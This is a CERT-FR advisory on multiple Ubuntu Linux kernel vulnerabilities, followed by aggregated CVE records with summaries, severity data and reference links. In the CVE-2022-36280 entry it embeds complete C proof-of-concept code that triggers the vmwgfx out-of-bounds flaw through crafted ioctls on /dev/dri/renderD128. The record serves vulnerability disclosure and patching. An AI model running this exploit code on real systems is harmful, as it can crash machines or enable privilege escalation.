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CERTFR-2023-AVI-0333
Vulnerability from certfr_avis
De multiples vulnérabilités ont été découvertes dans le noyau Linux d'Ubuntu. Elles permettent à un attaquant de provoquer une élévation de privilèges, une atteinte à la confidentialité des données, une exécution de code arbitraire à distance, une atteinte à l'intégrité des données, un déni de service à distance et un contournement de la politique de sécurité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Ubuntu 22.10",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 16.04 ESM",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 18.04 LTS",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 20.04 LTS",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 14.04 ESM",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 22.04 LTS",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-28466",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28466"
},
{
"name": "CVE-2023-28328",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28328"
},
{
"name": "CVE-2023-1076",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1076"
},
{
"name": "CVE-2023-1281",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1281"
},
{
"name": "CVE-2022-47929",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47929"
},
{
"name": "CVE-2023-23455",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23455"
},
{
"name": "CVE-2022-4269",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4269"
},
{
"name": "CVE-2023-26606",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26606"
},
{
"name": "CVE-2023-0266",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0266"
},
{
"name": "CVE-2023-1989",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1989"
},
{
"name": "CVE-2023-28866",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28866"
},
{
"name": "CVE-2023-1855",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1855"
},
{
"name": "CVE-2022-4842",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4842"
},
{
"name": "CVE-2022-3903",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3903"
},
{
"name": "CVE-2023-1074",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1074"
},
{
"name": "CVE-2022-36280",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36280"
},
{
"name": "CVE-2022-4129",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4129"
},
{
"name": "CVE-2022-41218",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41218"
},
{
"name": "CVE-2022-4382",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4382"
},
{
"name": "CVE-2022-2196",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-2196"
},
{
"name": "CVE-2022-41849",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41849"
},
{
"name": "CVE-2023-1032",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1032"
},
{
"name": "CVE-2023-1670",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1670"
},
{
"name": "CVE-2023-26607",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26607"
},
{
"name": "CVE-2023-1079",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1079"
},
{
"name": "CVE-2023-23559",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23559"
},
{
"name": "CVE-2023-26605",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26605"
},
{
"name": "CVE-2023-22997",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-22997"
},
{
"name": "CVE-2023-1990",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1990"
},
{
"name": "CVE-2022-21505",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21505"
},
{
"name": "CVE-2023-1998",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1998"
},
{
"name": "CVE-2023-26545",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26545"
},
{
"name": "CVE-2021-3669",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3669"
},
{
"name": "CVE-2023-25012",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-25012"
},
{
"name": "CVE-2023-1095",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1095"
},
{
"name": "CVE-2023-1118",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1118"
},
{
"name": "CVE-2023-0394",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0394"
},
{
"name": "CVE-2023-0386",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0386"
},
{
"name": "CVE-2022-3424",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3424"
},
{
"name": "CVE-2022-3108",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3108"
},
{
"name": "CVE-2023-1829",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1829"
},
{
"name": "CVE-2023-30456",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-30456"
},
{
"name": "CVE-2023-0045",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0045"
},
{
"name": "CVE-2023-1077",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1077"
},
{
"name": "CVE-2023-1073",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1073"
},
{
"name": "CVE-2023-1652",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1652"
},
{
"name": "CVE-2023-0468",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0468"
},
{
"name": "CVE-2023-1583",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1583"
}
],
"initial_release_date": "2023-04-21T00:00:00",
"last_revision_date": "2023-04-21T00:00:00",
"links": [],
"reference": "CERTFR-2023-AVI-0333",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-04-21T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux d\u0027Ubuntu\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es, une ex\u00e9cution de code arbitraire \u00e0\ndistance, une atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es, un d\u00e9ni de service \u00e0\ndistance et un contournement de la politique de s\u00e9curit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux d\u0027Ubuntu",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6030-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6030-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6024-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6024-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6031-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6031-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6025-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6025-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6020-1 du 14 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6020-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6029-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6029-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu LSN-0094-1 du 18 avril 2023",
"url": "https://ubuntu.com/security/notices/LSN-0094-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6033-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6033-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6027-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6027-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-6032-1 du 19 avril 2023",
"url": "https://ubuntu.com/security/notices/USN-6032-1"
}
]
}
CVE-2023-0386 (GCVE-0-2023-0386)
Vulnerability from cvelistv5
Published
2023-03-22 00:00
Modified
2025-07-30 01:37
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
References
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-02T05:10:55.563Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a"
},
{
"tags": [
"x_transferred"
],
"url": "https://security.netapp.com/advisory/ntap-20230420-0004/"
},
{
"name": "DSA-5402",
"tags": [
"vendor-advisory",
"x_transferred"
],
"url": "https://www.debian.org/security/2023/dsa-5402"
},
{
"name": "[debian-lts-announce] 20230605 [SECURITY] [DLA 3446-1] linux-5.10 security update",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00008.html"
},
{
"tags": [
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/173087/Kernel-Live-Patch-Security-Notice-LSN-0095-1.html"
},
{
"name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2023-0386",
"options": [
{
"Exploitation": "active"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-17T03:55:31.499341Z",
"version": "2.0.3"
},
"type": "ssvc"
}
},
{
"other": {
"content": {
"dateAdded": "2025-06-17",
"reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-0386"
},
"type": "kev"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-30T01:37:29.364Z",
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"shortName": "CISA-ADP"
},
"timeline": [
{
"lang": "en",
"time": "2025-06-17T00:00:00+00:00",
"value": "CVE-2023-0386 added to CISA KEV"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Kernel",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "Linux kernel 6.2-rc6"
}
]
}
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}
],
"problemTypes": [
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"description": "CWE-282",
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},
"references": [
{
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a"
},
{
"url": "https://security.netapp.com/advisory/ntap-20230420-0004/"
},
{
"name": "DSA-5402",
"tags": [
"vendor-advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5402"
},
{
"name": "[debian-lts-announce] 20230605 [SECURITY] [DLA 3446-1] linux-5.10 security update",
"tags": [
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"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00008.html"
},
{
"url": "http://packetstormsecurity.com/files/173087/Kernel-Live-Patch-Security-Notice-LSN-0095-1.html"
},
{
"name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
"tags": [
"mailing-list"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2023-0386",
"datePublished": "2023-03-22T00:00:00.000Z",
"dateReserved": "2023-01-18T00:00:00.000Z",
"dateUpdated": "2025-07-30T01:37:29.364Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2022-2196 (GCVE-0-2022-2196)
Vulnerability from cvelistv5
Published
2023-01-09 10:59
Modified
2025-02-13 16:28
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-1188 - Insecure Default Initialization of Resource
Summary
A regression exists in the Linux Kernel within KVM: nVMX that allowed for speculative execution attacks. L2 can carry out Spectre v2 attacks on L1 due to L1 thinking it doesn't need retpolines or IBPB after running L2 due to KVM (L0) advertising eIBRS support to L1. An attacker at L2 with code execution can execute code on an indirect branch on the host machine. We recommend upgrading to Kernel 6.2 or past commit 2e7eab81425a
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Linux | Linux Kernel |
Version: 0 Version: 0 < 6.2 |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T00:32:08.645Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "https://security.netapp.com/advisory/ntap-20230223-0002/"
},
{
"tags": [
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],
"url": "https://kernel.dance/#2e7eab81425a"
},
{
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],
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2e7eab81425ad6c875f2ed47c0ce01e78afc38a5"
},
{
"tags": [
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2022-2196",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-08-01T15:07:47.721131Z",
"version": "2.0.3"
},
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}
}
],
"providerMetadata": {
"dateUpdated": "2024-08-01T15:08:01.626Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageName": "KVM",
"product": "Linux Kernel",
"repo": "https://git.kernel.org/",
"vendor": "Linux",
"versions": [
{
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"status": "affected",
"version": "0",
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},
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"version": "0",
"versionType": "custom"
}
]
}
],
"datePublic": "2022-10-18T22:00:00.000Z",
"descriptions": [
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"supportingMedia": [
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CVE-2022-4382 (GCVE-0-2022-4382)
Vulnerability from cvelistv5
Published
2023-01-10 00:00
Modified
2025-04-09 15:34
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw caused by a race among the superblock operations in the gadgetfs Linux driver was found. It could be triggered by yanking out a device that is running the gadgetfs side.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: unknown |
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CVE-2023-22997 (GCVE-0-2023-22997)
Vulnerability from cvelistv5
Published
2023-02-28 00:00
Modified
2025-03-20 19:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel before 6.1.2, kernel/module/decompress.c misinterprets the module_get_next_page return value (expects it to be NULL in the error case, whereas it is actually an error pointer).
References
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CVE-2022-3108 (GCVE-0-2022-3108)
Vulnerability from cvelistv5
Published
2022-12-14 00:00
Modified
2025-04-22 14:18
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
An issue was discovered in the Linux kernel through 5.16-rc6. kfd_parse_subtype_iolink in drivers/gpu/drm/amd/amdkfd/kfd_crat.c lacks check of the return value of kmemdup().
References
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CVE-2022-41218 (GCVE-0-2022-41218)
Vulnerability from cvelistv5
Published
2022-09-21 00:00
Modified
2025-05-28 15:28
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In drivers/media/dvb-core/dmxdev.c in the Linux kernel through 5.19.10, there is a use-after-free caused by refcount races, affecting dvb_demux_open and dvb_dmxdev_release.
References
| URL | Tags | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
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CVE-2023-1990 (GCVE-0-2023-1990)
Vulnerability from cvelistv5
Published
2023-04-12 00:00
Modified
2025-03-19 15:39
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in ndlc_remove in drivers/nfc/st-nci/ndlc.c in the Linux Kernel. This flaw could allow an attacker to crash the system due to a race problem.
References
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CVE-2023-0394 (GCVE-0-2023-0394)
Vulnerability from cvelistv5
Published
2023-01-24 00:00
Modified
2025-03-31 14:48
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A NULL pointer dereference flaw was found in rawv6_push_pending_frames in net/ipv6/raw.c in the network subcomponent in the Linux kernel. This flaw causes the system to crash.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-26545 (GCVE-0-2023-26545)
Vulnerability from cvelistv5
Published
2023-02-25 00:00
Modified
2025-03-20 20:45
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel before 6.1.13, there is a double free in net/mpls/af_mpls.c upon an allocation failure (for registering the sysctl table under a new location) during the renaming of a device.
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-1652 (GCVE-0-2023-1652)
Vulnerability from cvelistv5
Published
2023-03-29 00:00
Modified
2025-02-18 16:38
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in nfsd4_ssc_setup_dul in fs/nfsd/nfs4proc.c in the NFS filesystem in the Linux Kernel. This issue could allow a local attacker to crash the system or it may lead to a kernel information leak problem.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux Kernel |
Version: Kernel 6.2 RC5 |
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CVE-2023-26607 (GCVE-0-2023-26607)
Vulnerability from cvelistv5
Published
2023-02-26 00:00
Modified
2025-05-05 16:03
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel 6.0.8, there is an out-of-bounds read in ntfs_attr_find in fs/ntfs/attrib.c.
References
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CVE-2023-1583 (GCVE-0-2023-1583)
Vulnerability from cvelistv5
Published
2023-03-24 00:00
Modified
2025-02-20 18:50
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A NULL pointer dereference was found in io_file_bitmap_get in io_uring/filetable.c in the io_uring sub-component in the Linux Kernel. When fixed files are unregistered, some context information (file_alloc_{start,end} and alloc_hint) is not cleared. A subsequent request that has auto index selection enabled via IORING_FILE_INDEX_ALLOC can cause a NULL pointer dereference. An unprivileged user can use the flaw to cause a system crash.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: affected kernel 5.19, 6.0, 6.1, 6.2, 6.3 |
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CVE-2022-4269 (GCVE-0-2022-4269)
Vulnerability from cvelistv5
Published
2022-12-05 00:00
Modified
2025-04-14 18:10
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw was found in the Linux kernel Traffic Control (TC) subsystem. Using a specific networking configuration (redirecting egress packets to ingress using TC action "mirred") a local unprivileged user could trigger a CPU soft lockup (ABBA deadlock) when the transport protocol in use (TCP or SCTP) does a retransmission, resulting in a denial of service condition.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel (TC subsystem) |
Version: Since upstream commit 53592b3 (v4.10-rc1) |
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CVE-2023-1855 (GCVE-0-2023-1855)
Vulnerability from cvelistv5
Published
2023-04-05 00:00
Modified
2025-02-12 16:08
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in xgene_hwmon_remove in drivers/hwmon/xgene-hwmon.c in the Hardware Monitoring Linux Kernel Driver (xgene-hwmon). This flaw could allow a local attacker to crash the system due to a race problem. This vulnerability could even lead to a kernel information leak problem.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-28466 (GCVE-0-2023-28466)
Vulnerability from cvelistv5
Published
2023-03-15 00:00
Modified
2025-05-05 16:02
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
do_tls_getsockopt in net/tls/tls_main.c in the Linux kernel through 6.2.6 lacks a lock_sock call, leading to a race condition (with a resultant use-after-free or NULL pointer dereference).
References
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CVE-2023-25012 (GCVE-0-2023-25012)
Vulnerability from cvelistv5
Published
2023-02-01 00:00
Modified
2025-05-05 16:05
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
The Linux kernel through 6.1.9 has a Use-After-Free in bigben_remove in drivers/hid/hid-bigbenff.c via a crafted USB device because the LED controllers remain registered for too long.
References
| URL | Tags | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
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CVE-2022-4129 (GCVE-0-2022-4129)
Vulnerability from cvelistv5
Published
2022-11-28 00:00
Modified
2025-04-14 18:09
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-667 - ->CWE-362->CWE-476
Summary
A flaw was found in the Linux kernel's Layer 2 Tunneling Protocol (L2TP). A missing lock when clearing sk_user_data can lead to a race condition and NULL pointer dereference. A local user could use this flaw to potentially crash the system causing a denial of service.
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel (l2tp) |
Version: up to v6.0 |
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CVE-2023-26606 (GCVE-0-2023-26606)
Vulnerability from cvelistv5
Published
2023-02-26 00:00
Modified
2025-05-05 16:04
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel 6.0.8, there is a use-after-free in ntfs_trim_fs in fs/ntfs3/bitmap.c.
References
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CVE-2022-4842 (GCVE-0-2022-4842)
Vulnerability from cvelistv5
Published
2023-01-12 00:00
Modified
2025-04-08 13:45
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw NULL Pointer Dereference in the Linux kernel NTFS3 driver function attr_punch_hole() was found. A local user could use this flaw to crash the system.
References
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CVE-2022-36280 (GCVE-0-2022-36280)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 00:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-120 - Buffer Overflow
Summary
An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
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"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n int sid = create_surface(); \n printf(\"%d\",sid); \n poc(handle,sid); \n \n}"
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CVE-2023-1989 (GCVE-0-2023-1989)
Vulnerability from cvelistv5
Published
2023-04-11 00:00
Modified
2024-08-26 13:09
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in btsdio_remove in drivers\bluetooth\btsdio.c in the Linux Kernel. In this flaw, a call to btsdio_remove with an unfinished job, may cause a race problem leading to a UAF on hdev devices.
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
Impacted products
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CVE-2023-1670 (GCVE-0-2023-1670)
Vulnerability from cvelistv5
Published
2023-03-30 00:00
Modified
2025-02-14 15:41
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw use after free in the Linux kernel Xircom 16-bit PCMCIA (PC-card) Ethernet driver was found.A local user could use this flaw to crash the system or potentially escalate their privileges on the system.
References
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CVE-2023-1095 (GCVE-0-2023-1095)
Vulnerability from cvelistv5
Published
2023-02-28 00:00
Modified
2025-03-18 15:14
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
